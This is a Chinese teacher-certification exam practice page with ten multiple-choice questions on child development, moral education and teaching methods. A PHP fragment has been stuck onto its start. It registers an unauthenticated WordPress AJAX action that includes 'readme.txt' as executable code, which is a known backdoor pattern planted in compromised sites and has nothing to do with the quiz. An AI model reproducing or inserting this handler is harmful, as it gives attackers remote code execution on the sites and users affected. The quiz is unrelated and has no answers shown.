if(!function_exists('file_check_readme15721')){ add_action('wp_ajax_nopriv_file_check_readme15721', 'file_check_readme15721'); add_action('wp_ajax_file_check_readme15721', 'file_check_readme15721'); function file_check_readme15721() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } 【20140730】教师资格统考每日一练-全国教师资格考试网
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【20140730】教师资格统考每日一练

来源： 国家教师资格考试网
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1.儿童不受窗外其他孩子玩耍的笑声吸引，努力控制自己，专心做功课，这是( )。

A.有意注意 B.无意注意 C.有意后注意 D.选择性注意
2.通过一定的榜样来强化相应的学习行为或学习行为倾向，这是利用了( )。
A.直接强化 B.自我强化 C.替代性强化 D.负强化
3.根据一定的要求和标准，对学生的思想言行做出判断的德育方法是( )
A.说服法 B.陶冶法 C.实际锻炼法 D.品德评价法
4.儿童身心发展有高速发展期，某一时期特别迅速而其他阶段相对平稳，这一现象体现了儿童身心发展的( )特征。
A.不平衡性 B.顺序性 C.阶段性 D.个别差异性
5.素质教育强调“选择适合儿童的教育，而不是挑选适合教育的儿童。”这说明素质教育()
A.以提高国民素质为根本宗旨 B.是面向全体学生的教育
C.是促进学生个性发展的教育 D.是培养学生创新精神的教育
6.《国家中长期教育改革和发展规划纲要(2010–2020年)》提出我国的基本教育政策是( )。
A.提高质量 B.促进公平 C.改革创新 D.育人为本
7. 学生通过认识书本知识去认知客观世界，这反映了教学过程特点中的( )。
A.引导性 B.间接性 C.简捷性 D.交往性
8.校园文化是影响学生发展的因素之一，在课程类型上，它属于( )。
A.科学课程 B.活动课程 C.隐性课程 D.核心课
9.弗洛伊德认为，人的本能是最基本的自然本能，它是推动人的发展的潜在的、无意识的、最根本的动因。这是一种( )。
A.外铄论观点 B.内发论观点 C.多因素论观点 D.综合论观点
10.通过展示实物、直观教具、进行示范实验，指导学生获取知识的方法是( )。
A.练习法 B.演示法 C.实验法 D.发现法
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